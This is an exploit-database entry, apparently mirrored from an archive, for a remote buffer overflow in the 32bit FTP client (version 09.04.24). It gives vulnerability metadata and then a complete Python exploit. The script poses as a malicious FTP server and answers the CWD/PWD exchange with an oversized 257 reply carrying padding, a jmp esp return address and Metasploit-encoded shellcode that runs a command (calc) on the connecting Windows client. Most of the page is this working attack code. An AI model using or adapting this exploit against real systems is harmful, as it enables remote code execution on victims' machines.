32bit FTP (09.04.24) (CWD response) Remote Buffer Overflow Exploit
CVE
Category
Price
Severity
N/A
CWE-119
$3000
High
Author
Risk
Exploitation Type
Date
skylined
High
Remote
2009-05-13
CVSS vector description
Metric
Value
Metric Description
Value Description
Attack vector Network AV The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Our sensors found this exploit at: http://cxsecurity.com/ascii/WLB-2009050132 Below is a copy:#!/usr/bin/python
# _ _ _ __ _ _ _
#| || | (_) ___ / \ | |__ | | |
#| __ | | | (_-< | () | | / / |_ _|
#|_||_| |_| /__/ \__/ |_\_\ |_|
#
#[*] Bug : 32bit FTP (09.04.24) (CWD response) Remote Buffer Overflow Exploit
#[*] Tested on : Xp sp3 (EN)(VB)
#[*] Exploited by : His0k4
#[*] Greetings : All friends & muslims HaCkErs (DZ),Algerians Elites,snakespc.com
#[*] Serra7 Merra7 koulchi mderra7 :p
from socket import *
payload = "\x41"*1020
payload += "\x67\x86\x86\x7C" # jmp esp kernel32.dll
# win32_exec - EXITFUNC=seh CMD=calc Size=343 Encoder=PexAlphaNum http://metasploit.com
payload += (
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x44"
"\x42\x50\x42\x30\x42\x50\x4b\x38\x45\x54\x4e\x53\x4b\x38\x4e\x47"
"\x45\x30\x4a\x37\x41\x50\x4f\x4e\x4b\x58\x4f\x54\x4a\x31\x4b\x58"
"\x4f\x45\x42\x32\x41\x30\x4b\x4e\x49\x54\x4b\x48\x46\x43\x4b\x38"
"\x41\x30\x50\x4e\x41\x33\x42\x4c\x49\x49\x4e\x4a\x46\x48\x42\x4c"
"\x46\x47\x47\x50\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e"
"\x46\x4f\x4b\x33\x46\x35\x46\x42\x46\x30\x45\x37\x45\x4e\x4b\x58"
"\x4f\x55\x46\x52\x41\x50\x4b\x4e\x48\x36\x4b\x48\x4e\x50\x4b\x54"
"\x4b\x38\x4f\x35\x4e\x31\x41\x30\x4b\x4e\x4b\x38\x4e\x31\x4b\x58"
"\x41\x50\x4b\x4e\x49\x38\x4e\x35\x46\x52\x46\x30\x43\x4c\x41\x43"
"\x42\x4c\x46\x46\x4b\x48\x42\x34\x42\x43\x45\x48\x42\x4c\x4a\x47"
"\x4e\x50\x4b\x48\x42\x34\x4e\x30\x4b\x48\x42\x47\x4e\x51\x4d\x4a"
"\x4b\x38\x4a\x46\x4a\x30\x4b\x4e\x49\x30\x4b\x58\x42\x38\x42\x4b"
"\x42\x30\x42\x30\x42\x30\x4b\x48\x4a\x36\x4e\x53\x4f\x55\x41\x43"
"\x48\x4f\x42\x46\x48\x55\x49\x58\x4a\x4f\x43\x58\x42\x4c\x4b\x37"
"\x42\x35\x4a\x46\x42\x4f\x4c\x48\x46\x50\x4f\x45\x4a\x46\x4a\x59"
"\x50\x4f\x4c\x58\x50\x50\x47\x35\x4f\x4f\x47\x4e\x43\x56\x41\x56"
"\x4e\x56\x43\x36\x42\x30\x5a")
s = socket(AF_INET, SOCK_STREAM)
s.bind(("0.0.0.0", 21))
s.listen(1)
print "[+] Listening on [FTP] 21"
c, addr = s.accept()
print "[+] Connection accepted from: %s" % (addr[0])
c.send("220 Hello\r\n")
c.recv(1024)
c.send("331 pwd please\r\n")
c.recv(1024)
c.send("230 OK\r\n")
c.recv(1024)
c.send("250 CWD command successful.\r\n")
c.recv(1024)
c.send("257 "+payload+" is current directory.")
c.close()
raw_input("[+] Done, press enter to quit")
s.close()
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